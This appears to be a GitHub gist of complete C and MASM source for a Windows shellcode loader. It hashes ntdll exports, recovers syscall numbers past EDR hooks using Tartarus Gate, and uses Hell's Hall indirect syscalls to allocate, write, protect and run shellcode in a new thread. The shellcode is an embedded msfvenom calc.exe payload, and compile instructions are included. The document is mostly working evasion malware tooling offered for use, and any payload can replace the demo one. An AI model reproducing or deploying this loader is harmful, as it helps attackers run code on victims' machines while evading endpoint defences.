Skip to content

Instantly share code, notes, and snippets.

@wizardy0ga
Created July 8, 2024 04:21
Show Gist options
  • Save wizardy0ga/f28d78ad4de6d0d736c1d9e35fb031be to your computer and use it in GitHub Desktop.
Save wizardy0ga/f28d78ad4de6d0d736c1d9e35fb031be to your computer and use it in GitHub Desktop.
Local shellcode execution using a combination of hells hall (Indirect syscalls) and tartarus gate (SSN retrieval) techniques.
#include "hellshall.h"
unsigned int CRC32(char* string) {
int i,
crc;
unsigned int byte, c;
const unsigned int g0 = SEED,
g1 = g0 >> 1,
g2 = g0 >> 2,
g3 = g0 >> 3,
g4 = g0 >> 4,
g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0,
g7 = ((g0 >> 6) ^ g0) >> 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = string[i]) != 0) {
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}
BOOL InitConfiguration(PNTDLL_CONFIG pConfig) {
PLDR_DATA_TABLE_ENTRY pEntry = NULL;
PIMAGE_DOS_HEADER pDos = NULL;
PIMAGE_NT_HEADERS pNt = NULL;
PIMAGE_EXPORT_DIRECTORY pExports = NULL;
CHAR ModNameLower[MAX_PATH] = { 0 };
ULONG_PTR ModuleBase = 0;
int string_size = 0,
offset = 0;
CHAR c = 0;
PPEB pPeb = (PPEB)__readgsqword(0x60);
/* Get the base address of ntdll */
for (pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink; pEntry->DllBase != NULL; pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink) {
if (pEntry->BaseDllName.Buffer) {
string_size = lstrlenW(pEntry->BaseDllName.Buffer);
if (string_size <= MAX_PATH) {
for (c = 0; c < string_size; c++) { ModNameLower[c] = tolower((CHAR)(pEntry->BaseDllName.Buffer[c])); }
ModNameLower[c++] = '\0';
if (CRC32(ModNameLower) == 0xFFFFC51B) {
dbg_print("Found %S at 0x%p", pEntry->BaseDllName.Buffer, pEntry->DllBase);
ModuleBase = (ULONG_PTR)pEntry->DllBase;
break;
}
}
}
}
if (!ModuleBase) { dbg_print("Could not locate ntdll in peb."); return FALSE; }
/* Get the export directory */
pDos = (PIMAGE_DOS_HEADER)ModuleBase;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) { dbg_print("dos header signature mismatch"); return FALSE; }
pNt = (PIMAGE_NT_HEADERS)((PBYTE)ModuleBase + pDos->e_lfanew);
if (pNt->Signature != IMAGE_NT_SIGNATURE) { dbg_print("nt header signature mismatch"); return FALSE; }
pExports = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!pExports) { dbg_print("Could not locate export directory"); return FALSE; }
/* Add Function names, ordinals & addresses to config structure */
pConfig->BaseOfModule = ModuleBase;
pConfig->NumberOfNames = pExports->NumberOfNames;
pConfig->Names = (PDWORD)(ModuleBase + pExports->AddressOfNames);
pConfig->Addresses = (PDWORD)(ModuleBase + pExports->AddressOfFunctions);
pConfig->Ordinals = (PWORD)(ModuleBase + pExports->AddressOfNameOrdinals);
if (!pConfig->Addresses ||
!pConfig->BaseOfModule ||
!pConfig->Names ||
!pConfig->Ordinals ||
!pConfig->NumberOfNames) {
dbg_print("One or more config structure members is null."); return FALSE;
}
dbg_print("Successfully initialized ntdll config structure");
return TRUE;
}
BOOL GetSyscall(DWORD Hash, PNT_SYSCALL pSyscall, PNTDLL_CONFIG pConfig) {
PCHAR Name = 0;
PVOID Address = NULL;
ULONG_PTR SyscallOpCodeAddr = NULL;
WORD CurrentIndex = 0;
BYTE OpCode = 0,
High = 0,
Low = 0;
/* Init the config if it's null */
if (!pConfig) {
if (!InitConfiguration(pConfig)) {
return FALSE;
}
}
/* Add hash to syscall structure */
if (Hash) {
pSyscall->Hash = Hash;
}
else {
return FALSE;
}
/* Search for the hash in the dll export functions */
for (size_t i = 0; i < pConfig->NumberOfNames; i++) {
Name = (PCHAR)(pConfig->BaseOfModule + pConfig->Names[i]);
Address = (PVOID)(pConfig->BaseOfModule + pConfig->Addresses[pConfig->Ordinals[i]]);
if (CRC32(Name) == Hash) {
dbg_print("Found %s at 0x%p with hash 0x%0.8X", Name, Address, Hash);
pSyscall->Address = Address;
/* Check if opcodes are loading ssn into eax.Store ssn in syscall structure. */
if (*((PBYTE)Address) == 0x4C &&
*((PBYTE)Address + 1) == 0x8B &&
*((PBYTE)Address + 2) == 0xD1 &&
*((PBYTE)Address + 3) == 0xB8 &&
*((PBYTE)Address + 6) == 0x00 &&
*((PBYTE)Address + 7) == 0x00) {
dbg_print("Syscall is not hooked.");
High = *((PBYTE)Address + 5);
Low = *((PBYTE)Address + 4);
pSyscall->SSN = (High << 8) | Low;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
/* If syscall is hooked, begin searching upper & lower syscalls */
if (*((PBYTE)Address) == 0xE9) {
dbg_print("Syscall is hooked, scenario 1.");
for (WORD idx = 1; idx <= 255; idx++) {
/* Search down in syscalls */
if (*((PBYTE)Address + idx * 32) == 0x4C &&
search_down(Address, 1, idx) == 0x8B &&
search_down(Address, 2, idx) == 0xD1 &&
search_down(Address, 3, idx) == 0xB8 &&
search_down(Address, 6, idx) == 0x00 &&
search_down(Address, 7, idx) == 0x00
) {
High = search_down(Address, 5, idx);
Low = search_down(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low - idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
/* search up in syscalls */
if (*((PBYTE)Address + idx * -32) == 0x4C &&
search_up(Address, 1, idx) == 0x8B &&
search_up(Address, 2, idx) == 0xD1 &&
search_up(Address, 3, idx) == 0xB8 &&
search_up(Address, 6, idx) == 0x00 &&
search_up(Address, 7, idx) == 0x00
) {
High = search_up(Address, 5, idx);
Low = search_up(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low + idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
}
}
/* Second scenario for syscall being hooked */
if (*((PBYTE)Address + 3) == 0xE9) {
dbg_print("Syscall is hooked, scenario 2.");
for (WORD idx = 1; idx <= 255; idx++) {
/* Search down in syscalls */
if (*((PBYTE)Address + idx * 32) == 0x4C &&
search_down(Address, 1, idx) == 0x8B &&
search_down(Address, 2, idx) == 0xD1 &&
search_down(Address, 3, idx) == 0xB8 &&
search_down(Address, 6, idx) == 0x00 &&
search_down(Address, 7, idx) == 0x00
) {
High = search_down(Address, 5, idx);
Low = search_down(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low - idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
/* search up in syscalls */
if (*((PBYTE)Address + idx * -32) == 0x4C &&
search_up(Address, 1, idx) == 0x8B &&
search_up(Address, 2, idx) == 0xD1 &&
search_up(Address, 3, idx) == 0xB8 &&
search_up(Address, 6, idx) == 0x00 &&
search_up(Address, 7, idx) == 0x00
) {
High = search_up(Address, 5, idx);
Low = search_up(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low + idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
}
}
break;
}
}
if (!pSyscall->Address) {
dbg_print("Failed to locate function address."); return FALSE;
}
/* Jump ahead of function address by offset of 200 - 300 bytes */
srand((unsigned int)time(NULL));
SyscallOpCodeAddr = (ULONG_PTR)pSyscall->Address + (rand() % (300 - 200 + 1 + 200));
// Locate the address of another syscall opcode
for (DWORD Index = 0; Index <= 0xFF; Index++) {
if (*((PBYTE)SyscallOpCodeAddr + Index) == 0x0F && *((PBYTE)SyscallOpCodeAddr + Index + 1) == 0x05) {
pSyscall->SyscallOpCodeAddress = ((ULONG_PTR)SyscallOpCodeAddr + Index);
dbg_print("Located syscall instruction in ntdll .text at 0x%p", pSyscall->SyscallOpCodeAddress);
break;
}
}
/* Make sure all components exist */
if (!pSyscall->SSN || !pSyscall->Address || !pSyscall->Hash || !pSyscall->SyscallOpCodeAddress) {
return FALSE;
}
return TRUE;
}
#pragma once
#include <windows.h>
#include <stdio.h>
#include <time.h>
/* debug printing */
#ifdef DEBUG
#define dbg_print(msg, ...) printf("[DEBUG] " msg "\n", ##__VA_ARGS__)
#define nt_error(msg, ...) printf("[ERROR] " msg "\n", ##__VA_ARGS__); return -1;
#else
#define dbg_print(msg, ...) do {} while (0)
#define nt_error(msg, ...) do {} while (0); return -1;
#endif
/* Syscalls */
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define calc_offset(byte, offset) *((PBYTE)byte + offset)
#define search_down(byte, index, offset) *((PBYTE)byte + index + offset * 32)
#define search_up(byte, index, offset) *((PBYTE)byte + index + offset * -32)
#define get_ssn(hash, psyscall, pconfig) \
if (!GetSyscall(hash, psyscall, pconfig)) { \
dbg_print("Could not locate syscall."); return FALSE;\
} \
#define prepare_syscall(syscall) PrepSyscall((DWORD)syscall.SSN, (PVOID)syscall.SyscallOpCodeAddress)
/* Function hashes */
#define SEED 8721
#define NtAllocateVirtualMemory_Hash 0xFFFFD7EC
#define NtProtectVirtualMemory_Hash 0xFFFFD05C
#define NtCreateThreadEx_Hash 0xFFFFD084
#define NtWaitForSingleObject_Hash 0xFFFFDF8A
#define NtWriteVirtualMemory_Hash 0xFFFFCB07
/* Structs */
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)(
_In_ PVOID DllHandle,
_In_ ULONG Reason,
_In_opt_ PVOID Context
);
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PLDR_INIT_ROUTINE EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
typedef struct _NTDLL_CONFIG {
PDWORD Addresses;
PDWORD Names;
PWORD Ordinals;
DWORD NumberOfNames;
ULONG_PTR BaseOfModule;
} NTDLL_CONFIG, * PNTDLL_CONFIG;
typedef struct _NT_SYSCALL {
DWORD SSN;
DWORD Hash;
PVOID Address;
PVOID SyscallOpCodeAddress;
} NT_SYSCALL, * PNT_SYSCALL;
typedef struct _SYSCALLS {
NT_SYSCALL NtAllocateVirtualMemory;
NT_SYSCALL NtWriteVirtualMemory;
NT_SYSCALL NtProtectVirtualMemory;
NT_SYSCALL NtCreateThreadEx;
NT_SYSCALL NtWaitForSingleObject;
} SYSCALLS, * PSYSCALLS;
/* Prototypes */
unsigned int CRC32(char* string);
BOOL InitConfiguration(PNTDLL_CONFIG pConfig);
BOOL GetSyscall(DWORD Hash, PNT_SYSCALL pSyscall, PNTDLL_CONFIG pConfig);
/* External functions */
extern VOID PrepSyscall(DWORD SSN, PVOID SyscallOpCodeAddr);
extern RunSyscall();
.data
SSN DWORD 0h
SyscallOpCodeAddr QWORD 0h
.code
PrepSyscall PROC
xor eax, eax ; eax = 0
mov SSN, eax ; SSN = 0
mov SyscallOpCodeAddr, rax ; SyscallOpCodeAddr = 0
mov eax, ecx ; eax = ssn
mov SSN, eax ; SSN = eax = ssn
mov r8, rdx ; r8 = Address of the syscall op code 0x0F05
mov SyscallOpCodeAddr, r8 ; SyscallOpCodeAddr = Address of the syscall opcode 0x0F05
ret
PrepSyscall ENDP
RunSyscall PROC
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx
mov r10, rax ; r10 = rax = rcx
mov eax, SSN ; eax = SSN
jmp Run ; Execute the syscall
xor eax, eax ; Junk code
xor rcx, rcx ; Junk code
shl r10, 2 ; Junk code
Run:
jmp qword ptr [SyscallOpCodeAddr] ; Jump to the syscall instruction in ntdll.
xor r10, r10 ; r10 = 0
mov SyscallOpCodeAddr, r10 ; SyscallOpCodeAddr = 0
ret
RunSyscall ENDP
end
/*
Author:
wizardy0ga
Date:
July 2024
Arch:
x64
Tested on:
Windows 10 19045.4529
Compiler:
MSVC
Compile Instructions:
ML64 /c hellshall.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
cl.exe hellshall.c main.c
link.exe /OUT:HellsHall.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib hellshall.x64.obj hellshall.obj main.obj
Mitre:
Execution:
T1106 - Native API
Description:
Local shellcode execution using a combination of hells hall (Indirect syscalls) and tartarus gate (SSN retrieval) techniques.
Shellcode is executed by new thread pointed at shellcode in buffer.
Reference:
https://github.com/trickster0/TartarusGate
https://github.com/Maldev-Academy/HellHall
*/
#include "hellshall.h"
/* Calc.exe - msfvenom -p windows/x64/exec CMD=calc.exe exitfunc=thread */
CHAR shellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };
int main() {
NTSTATUS Status = 0;
HANDLE hThread = NULL;
DWORD OldProtection = 0;
SIZE_T BytesWritten = 0;
PVOID pShellcode = NULL;
SIZE_T ShellcodeSize = sizeof(shellcode);
NTDLL_CONFIG NtConfig = { 0 };
SYSCALLS Syscalls = { 0 };
printf("[+] Press enter to begin\n"); getchar();
/* Get NTDLL base address & functions */
if (!InitConfiguration(&NtConfig)) {
return -1;
}
/* Populate syscall structures with SSN for syscall */
get_ssn(NtAllocateVirtualMemory_Hash, &Syscalls.NtAllocateVirtualMemory, &NtConfig);
get_ssn(NtProtectVirtualMemory_Hash, &Syscalls.NtProtectVirtualMemory, &NtConfig);
get_ssn(NtWriteVirtualMemory_Hash, &Syscalls.NtWriteVirtualMemory, &NtConfig);
get_ssn(NtCreateThreadEx_Hash, &Syscalls.NtCreateThreadEx, &NtConfig);
get_ssn(NtWaitForSingleObject_Hash, &Syscalls.NtWaitForSingleObject, &NtConfig);
/* Allocate buffer for shellcode */
prepare_syscall(Syscalls.NtAllocateVirtualMemory);
Status = RunSyscall((HANDLE)-1, &pShellcode, 0, &ShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (Status != 0x0 || pShellcode == NULL) {
nt_error("Failed to allocate memory for shellcode. Error: 0x%0.8X", Status);
}
print("Allocated %lld byte buffer at 0x%p", ShellcodeSize, pShellcode);
/* Copy shellcode into buffer */
prepare_syscall(Syscalls.NtWriteVirtualMemory);
Status = RunSyscall((HANDLE)-1, pShellcode, shellcode, ShellcodeSize, &BytesWritten);
if (Status != 0x0 || ShellcodeSize != BytesWritten) {
dbg_print("Failed to write shellcode to 0x%p. Error: 0x%0.8X\n", pShellcode, Status);
if (ShellcodeSize != BytesWritten) {
nt_error("Bytes written does not match expected amount. Written: %lld. Expected %lld.", BytesWritten, ShellcodeSize);
}
return -1;
}
print("Wrote %lld bytes to buffer at 0x%p", BytesWritten, pShellcode);
/* Set buffer memory perms to RX */
prepare_syscall(Syscalls.NtProtectVirtualMemory);
Status = RunSyscall((HANDLE)-1, &pShellcode, &ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection);
if (Status != 0x0) {
nt_error("Failed to set memory protections. Error: 0x%0.8X", Status);
}
print("Set memory protection to RX");
/* Execute payload (calc.exe) */
prepare_syscall(Syscalls.NtCreateThreadEx);
Status = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pShellcode, NULL, FALSE, NULL, NULL, NULL, NULL);
if (Status != 0x0) {
nt_error("Failed to create thread. Error: 0x%0.8X", Status);
}
print("Executing payload in new thread! ID: %d", GetThreadId(hThread));
/* Wait for thread */
prepare_syscall(Syscalls.NtWaitForSingleObject);
Status = RunSyscall(hThread, FALSE, NULL);
if (Status != 0x0) {
nt_error("NtWaitForSingleObject failed with error: 0x%0.8X", Status);
}
printf("[+] Press enter to quit\n"); getchar();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment